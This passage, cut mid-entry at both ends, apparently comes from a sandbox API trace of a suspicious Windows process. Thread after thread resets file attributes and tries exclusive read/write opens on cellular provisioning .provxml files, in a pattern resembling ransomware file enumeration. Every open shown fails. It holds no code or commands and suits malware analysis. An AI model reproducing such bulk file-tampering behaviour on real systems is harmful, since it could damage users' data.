users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\255__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0178.835] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0178.835] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\255__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.835] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0178.835] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe18c0) returned 1 [0178.835] RtlExitUserThread (Status=0x0) Thread: id = 2820 os_tid = 0x3f4 [0179.009] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\256__connections_cellular_celcom malaysia (malaysia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.009] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.010] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\256__connections_cellular_celcom malaysia (malaysia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.010] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.010] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046428) returned 1 [0179.010] RtlExitUserThread (Status=0x0) Thread: id = 2821 os_tid = 0x12c [0179.011] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\257__connections_cellular_digi (malaysia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.012] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.012] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\257__connections_cellular_digi (malaysia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.012] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.012] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f03130) returned 1 [0179.012] RtlExitUserThread (Status=0x0) Thread: id = 2822 os_tid = 0xdc4 [0179.014] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\258__connections_cellular_digi (malaysia)_i1$(__mvid)@wap.provxml")) returned 0x20 [0179.014] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.014] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\258__connections_cellular_digi (malaysia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.014] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.014] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f021d0) returned 1 [0179.014] RtlExitUserThread (Status=0x0) Thread: id = 2823 os_tid = 0xdd0 [0179.016] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\259__connections_cellular_maxis (malaysia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.016] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.016] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\259__connections_cellular_maxis (malaysia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.016] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.016] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3041e80) returned 1 [0179.016] RtlExitUserThread (Status=0x0) Thread: id = 2824 os_tid = 0xdf0 [0179.017] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\25__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0179.018] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0179.018] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\25__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.018] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0179.018] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2b08) returned 1 [0179.018] RtlExitUserThread (Status=0x0) Thread: id = 2825 os_tid = 0xddc [0179.019] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\260__connections_cellular_maxis (malaysia)_i1$(__mvid)@wap.provxml")) returned 0x20 [0179.020] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.020] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\260__connections_cellular_maxis (malaysia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.020] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.020] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3042940) returned 1 [0179.020] RtlExitUserThread (Status=0x0) Thread: id = 2826 os_tid = 0xde4 [0179.021] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\261__connections_cellular_maxis (malaysia)_i2$(__mvid)@wap.provxml")) returned 0x20 [0179.022] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.022] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\261__connections_cellular_maxis (malaysia)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.022] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.022] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3043150) returned 1 [0179.022] RtlExitUserThread (Status=0x0) Thread: id = 2827 os_tid = 0xde8 [0179.023] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\262__connections_cellular_timecel (malaysia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.023] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.024] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\262__connections_cellular_timecel (malaysia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.024] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.024] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30436b0) returned 1 [0179.024] RtlExitUserThread (Status=0x0) Thread: id = 2828 os_tid = 0x45c [0179.025] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\263__connections_cellular_u mobile (malaysia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.025] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.025] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\263__connections_cellular_u mobile (malaysia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.026] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.026] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3041fd8) returned 1 [0179.026] RtlExitUserThread (Status=0x0) Thread: id = 2829 os_tid = 0x9e0 [0179.027] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\264__connections_cellular_go mobile (malta)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.027] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.027] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\264__connections_cellular_go mobile (malta)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.027] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.028] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3041d28) returned 1 [0179.028] RtlExitUserThread (Status=0x0) Thread: id = 2830 os_tid = 0x994 [0179.029] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\265__connections_cellular_go mobile (malta)_i1$(__mvid)@wap.provxml")) returned 0x20 [0179.029] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.029] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\265__connections_cellular_go mobile (malta)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.029] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.029] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3043808) returned 1 [0179.030] RtlExitUserThread (Status=0x0) Thread: id = 2831 os_tid = 0xdd8 [0179.031] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\266__connections_cellular_vodafone malta (malta)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.031] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.031] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\266__connections_cellular_vodafone malta (malta)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.031] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.031] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3043558) returned 1 [0179.031] RtlExitUserThread (Status=0x0) Thread: id = 2832 os_tid = 0xdf4 [0179.033] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\267__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0179.033] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0179.033] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\267__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.033] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0179.033] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2148) returned 1 [0179.033] RtlExitUserThread (Status=0x0) Thread: id = 2833 os_tid = 0xdf8 [0179.035] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\268__connections_cellular_telcel gsm (mexico)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.035] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.036] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\268__connections_cellular_telcel gsm (mexico)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.036] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.036] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3042538) returned 1 [0179.036] RtlExitUserThread (Status=0x0) Thread: id = 2834 os_tid = 0xf94 [0179.037] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\269__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0179.037] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0179.037] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\269__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.038] SetFileAttributesW (lpFileName="C:\\Users\\All 